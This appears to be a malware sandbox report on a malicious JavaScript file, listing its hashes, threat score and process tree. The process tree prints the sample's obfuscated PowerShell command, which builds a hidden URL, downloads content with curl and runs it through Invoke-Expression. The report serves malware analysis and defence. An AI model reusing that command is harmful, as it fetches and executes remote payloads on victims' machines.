Analysis
-
max time kernel
118s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
21-12-2024 15:16
General
-
Target
6470f81d1d6b4bb0af39d506f5f4cebffc3ed8b3916d5e01c5ad65b91ff6483a.js
-
Size
166KB
-
MD5
09a3e42c3dd0cf470d13f81a39f055df
-
SHA1
8b42976021c2090c3ce85ba6d7da3bb49cd61b76
-
SHA256
6470f81d1d6b4bb0af39d506f5f4cebffc3ed8b3916d5e01c5ad65b91ff6483a
-
SHA512
7ea276aa67307eb5770df32610b30215785099f2280a1cb99c3bf0995f2b36c84e3aa9d682edb26bae5b72666a1161ee2c39a7ad207be51a59a64cb36246b72b
-
SSDEEP
3072:nVoJp7LJHxi5NZDoHxi5dZDBZD0Hxi5PHxi5i:kRihoRiND0RiZRiQ
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\6470f81d1d6b4bb0af39d506f5f4cebffc3ed8b3916d5e01c5ad65b91ff6483a.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $ukxrtzovlhge='ur' ;new-alias printout c$($ukxrtzovlhge)l;$qdgnulasfxbi=(8457,8468,8476,8460,8462,8457,8477,8476,8481,8414,8476,8410,8457,8405,8475,8470,8471,8406,8408,8405,8471,8463,8471,8422,8474,8420,8468,8464,8469,8475,8474,8409,8408);$ctguwsdyonr=('bronx','get-cmdlet');$pldihtqxbk=$qdgnulasfxbi;foreach($oqumislvtnar in $pldihtqxbk){$lewyqubpck=$oqumislvtnar;$yhqdscna=$yhqdscna+[char]($lewyqubpck-8359);$oefgvxdqsby=$yhqdscna; $xbjpmeiydhqn=$oefgvxdqsby};$eymhljcnx[2]=$xbjpmeiydhqn;$idmcraxyuj='rl';$xaiyje=1;.$([char](9992-9887)+'e'+'x')(printout -useb $xbjpmeiydhqn)1⤵
- Process spawned unexpected child process